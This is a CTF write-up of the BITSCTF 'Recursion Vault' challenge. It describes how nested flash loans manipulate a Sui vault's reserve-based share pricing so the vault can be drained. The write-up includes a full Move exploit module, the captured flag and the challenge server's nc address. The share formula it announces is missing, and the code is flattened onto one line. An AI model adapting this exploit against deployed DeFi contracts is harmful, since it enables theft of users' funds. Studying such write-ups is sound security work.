# Recursion Vault (BITSCTF)
## Flag Captured: BITSCTF{654cd03e11c33c3b878925ba8455cf36}
## 1. Executive Summary
The Recursion Vault challenge featured a DeFi-style smart contract on the Sui blockchain holding 10 Billion SUI. The goal was to exploit the vault's logic to drain at least 90% of its total balance. By identifying a critical flaw in how share prices were calculated during deposits, I was able to use nested flash loans to manipulate the vault's reserves and mint a massive amount of shares for a negligible cost.
## 2. Vulnerability Analysis
The core issue resides in the deposit function of the vault.move contract. The contract determines how many shares a user receives based on the current "reserves" (the live balance of SUI in the vault).
### The Flawed Formula
The contract calculates shares as follows:
### The Exploit Vector
The reserves value is fetched using balance::value(&vault.reserves). Because the vault allows uncollateralized flash loans, an attacker can temporarily reduce the reserves to a near-zero value.
When the reserves (the denominator) is extremely small, the resulting shares (the output) becomes enormous. This is a classic Price Oracle Manipulation attack where the "price" of a share is manipulated by altering the vault's balance mid-transaction.
## 3. The Exploit Strategy
Since I started with 0 SUI, I needed a way to both trigger the bug and pay the 0.09% flash loan fees. The solution was to use Recursive (Nested) Flash Loans.
| Step | Action | Purpose |
|---|---|---|
| 1 | Outer Loan | Borrow 30M SUI to act as working capital for fees and the attack deposit. |
| 2 | Inner Loan | Borrow 9.969B SUI to "empty" the vault, leaving only 1M SUI in reserves. |
| 3 | Deposit | Deposit 10M SUI. Since reserves are only 1M, I receive 10x the total share supply. |
| 4 | Repay Inner | Return the 9.969B SUI + fee using the working capital. |
| 5 | Withdraw | Use the massive share balance to withdraw ~9.9B SUI from the now-refilled vault. |
| 6 | Repay Outer | Return the 30M SUI + fee and pocket the billions in profit. |
## 4. Implementation (Move Exploit)
The following Move code executes the nested loan strategy within a single transaction block:
rustmodule solution::exploit { use sui::tx_context::{Self, TxContext}; use sui::coin::{Self, Coin}; use sui::sui::SUI; use challenge::vault::{Self, Vault}; use sui::clock::{Clock}; public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) { // 1. OUTER LOAN: Borrow 30 Million SUI as working capital let (mut outer_coin, outer_receipt) = vault::flash_loan(vault, 30_000_000, ctx); // 2. INNER LOAN: Borrow 9.969 Billion SUI // This leaves exactly 1,000,000 SUI in the vault reserves let inner_borrow_amt = 9_969_000_000; let (mut inner_coin, inner_receipt) = vault::flash_loan(vault, inner_borrow_amt, ctx); // 3. THE EXPLOIT DEPOSIT: We deposit 10 Million SUI. // Because the reserves are only 1M, this mints us a massive amount of shares. let mut account = vault::create_account(ctx); let deposit_coin = coin::split(&mut outer_coin, 10_000_000, ctx); vault::deposit(vault, &mut account, deposit_coin, ctx); // 4. REPAY INNER LOAN // We pay the 0.09% fee using our outer_coin working capital. let inner_fee = (inner_borrow_amt * 9) / 10000; let fee_coin = coin::split(&mut outer_coin, inner_fee, ctx); coin::join(&mut inner_coin, fee_coin); vault::repay_loan(vault, inner_coin, inner_receipt); // 5. WITHDRAW MASSIVE SHARES // The vault is restored, but we own the vast majority of it. let my_shares = vault::user_shares(&account); let ticket = vault::create_ticket(vault, &mut account, my_shares, clock, ctx); let mut payout_coin = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx); // 6. REPAY OUTER LOAN let outer_repay_amt = 30_027_000; let remaining_outer = coin::value(&outer_coin); let amount_needed_from_payout = outer_repay_amt - remaining_outer; let repayment_part = coin::split(&mut payout_coin, amount_needed_from_payout, ctx); coin::join(&mut outer_coin, repayment_part); vault::repay_loan(vault, outer_coin, outer_receipt); // 7. TRANSFER PROFITS sui::transfer::public_transfer(payout_coin, tx_context::sender(ctx)); vault::destroy_account(account); } }
## 5. Execution & Results
- File Size: 2901 bytes
- Connection: Accessed the remote server via
nc chals.bitskrieg.in 38778 - Outcome: The server compiled the module, executed the
solvefunction, and validated that the vault was drained.
Flag Captured: BITSCTF{654cd03e11c33c3b878925ba8455cf36}


Comments(0)
No comments yet. Be the first to share your thoughts!